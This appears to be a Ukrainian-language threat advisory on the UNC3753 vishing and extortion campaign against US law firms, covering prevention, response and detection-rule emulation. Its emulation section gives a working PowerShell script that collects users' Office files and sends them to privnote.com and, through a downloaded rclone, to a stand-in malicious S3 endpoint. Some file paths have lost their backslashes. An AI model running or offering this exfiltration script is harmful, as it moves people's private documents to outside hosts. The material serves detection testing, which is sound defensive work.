Консультація шукає: Триваючі цілеспрямовані атаки на юридичні фірми США

Резюме

Кластер загроз, що діє з фінансових мотивів та відомий як UNC3753, проводить вішинг-кампанії, які обманюють жертв, змушуючи їх встановлювати програмне забезпечення для віддаленого моніторингу та управління. Після встановлення доступу, актори крадуть конфіденційну юридичну та фінансову інформацію, а потім шантажують організацію жертви, погрожуючи публічним викриттям. Кампанія зосереджена на фірмах зі сфери професійних послуг США, зокрема на юридичних фірмах, та може включати як кіберзлочини, так і фізичне викрадення даних.

Розслідування

Mandiant спостерігала за повним циклом проникнення — від початкового голосового фішингу до крадіжки даних і шантажу, іноді протягом одного робочого дня. Жертви були переконані використовувати інструменти для спільного доступу до екрану та RMM програмне забезпечення, таке як AnyDesk, Bomgar або спеціальний інсталятор SuperOps, наданий за допомогою команди curl Дані виводилися за допомогою інструментів, таких як WinSCP, Rclone або прямі завантаження на комерційні облікові записи хмарного зберігання файлів користувачів.

Запобіжні заходи

Організації повинні навчати персонал розпізнавати вішинг-атаки, застосовувати суворі процедури перевірки для будь-яких запитів на віддалену підтримку та блокувати несанкціоновані RMM та інструменти для спільного доступу до екрану. Відключення зовнішніх носіїв, моніторинг незвичних вихідних передач у хмарні сховища або FTP-ресурси, застосування умовного доступу до VDI та забезпечення багатофакторної автентифікації для критичних репозиторіїв документів можуть додатково знижувати ризики.

Реагування

Якщо ця активність виявлена, негайно ізолюйте уражену кінцеву точку, припиніть будь-які несанкціоновані віддалені сесії та видаліть встановлені бінарники RMM. Слідчі повинні зібрати історію командного рядка, зміни в реєстрі та арефакти запланованих завдань для судово-медичного огляду. Компрометовані облікові дані повинні бути скинуті, потрібно оцінити витік даних, а залучення правоохоронних органів слід розглянути, якщо почався шантаж.

Виконання моделювання

Передумова: Перевірка телеметрії та базової згодомості повинна була пройти.

Обґрунтування: Цей розділ детально описує точне виконання техніки нападника (TTP), розробленої для запуску правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати визначені TTP та прагнути генерувати точну телеметрію, очікувану логікою виявлення. Абстрактні або нерелевантні приклади призведуть до помилкової діагностики.

• Оповідь атаки та команди:

  1. Розвідка та підготовка даних (T1005, T1083):
     Зловмисник перераховує каталоги користувачів і копіює всі *.docx and *.xlsx файли в папку для підготовки C:TempStagedData.

  2. Завантаження за допомогою Privnote (T1567.002):
     Використовуючи PowerShell, зловмисник читає кожен файл, кодує вміст у base-64 та надсилає до https://privnote.com/api/note. Командний рядок містить URL-адресу, яка відповідає selection_privnote умові.

  3. Передача з Rclone (T1020):
     Зловмисник запускає rclone.exe (завантажений на вимогу) для передачі підготовлених файлів у шкідливе сховище S3. Ім’я процесу “rclone.exe” відповідає selection_tool.

  4. Очищення: Видалити папку для підготовки та будь-які залишкові бінарні файли.

• Скрипт для регресійного тестування: (PowerShell – автономний, без зовнішніх залежностей, окрім Invoke-WebRequest.)

  # -------------------------------------------------
  # Емуляція виведення UNC3753 – PowerShell
  # -------------------------------------------------
  # 1. Підготувати каталог для підготовки
  $staging = "$env:USERPROFILETempStagedData"
  New-Item -ItemType Directory -Force -Path $staging | Out-Null
  
  # 2. Копіювати вибіркові дані (емуляція збирання даних)
  Get-ChildItem -Path "$env:USERPROFILEDocuments" -Include *.docx, *.xlsx -Recurse -ErrorAction SilentlyContinue |
      ForEach-Object { Copy-Item -Path $_.FullName -Destination $staging -Force }
  
  # 3. Завантажити кожен файл на Privnote (веб-служба для виведення)
  $privnoteUrl = "https://privnote.com/api/note"
  Get-ChildItem -Path $staging -File | ForEach-Object {
      $content = [Convert]::ToBase64String([IO.File]::ReadAllBytes($_.FullName))
      $body = @{ text = $content }
      # URL з'являється у командному рядку -> спрацьовує selection_privnote
      Invoke-WebRequest -Uri $privnoteUrl -Method POST -Body $body -UseBasicParsing | Out-Null
  }
  
  # 4. Завантажити Rclone (якщо не встановлено) і виконати виведення через S3
  $rcloneExe = "$env:TEMPrclone.exe"
  if (-not (Test-Path $rcloneExe)) {
      Invoke-WebRequest -Uri "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -OutFile "$env:TEMPrclone.zip"
      Expand-Archive -Path "$env:TEMPrclone.zip" -DestinationPath $env:TEMP -Force
      Move-Item -Path (Get-ChildItem "$env:TEMPrclone-*-windows-amd64rclone.exe").FullName -Destination $rcloneExe -Force
  }
  
  # Налаштувати віддалене (шкідливе) сховище S3 – конфігурація записується у тимчасовий файл
  $rcloneConfig = @"
  [malicious
  type = s3
  provider = AWS
  access_key_id = AKIAFAKEKEY
  secret_access_key = fakeSecretKey123
  region = us-east-1
  endpoint = https://malicious-s3.example.com
  "@
  $configPath = "$env:TEMPrclone.conf"
  $rcloneConfig | Set-Content -Path $configPath -Encoding ASCII
  
  # Виконати rclone copy – ім'я процесу "rclone.exe" спрацьовує selection_tool
  & $rcloneExe copy $staging "malicious:exfil" --config $configPath --log-level INFO
  
  # 5. Очищення
  Remove-Item -Recurse -Force $staging
  Remove-Item -Force $rcloneExe, $configPath

• Команди для очищення:

  # Завершити будь-які залишкові процеси WinSCP або Rclone
  Get-Process -Name WinSCP, rclone -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # Видалити залишкові тимчасові файли (якщо є)
  Remove-Item -Path "$env:TEMPWinSCP.exe","$env:TEMPWinSCP.zip","$env:TEMPrclone.zip","$env:TEMPrclone-*-windows-amd64" -Recurse -Force -ErrorAction SilentlyContinue

Кінець звіту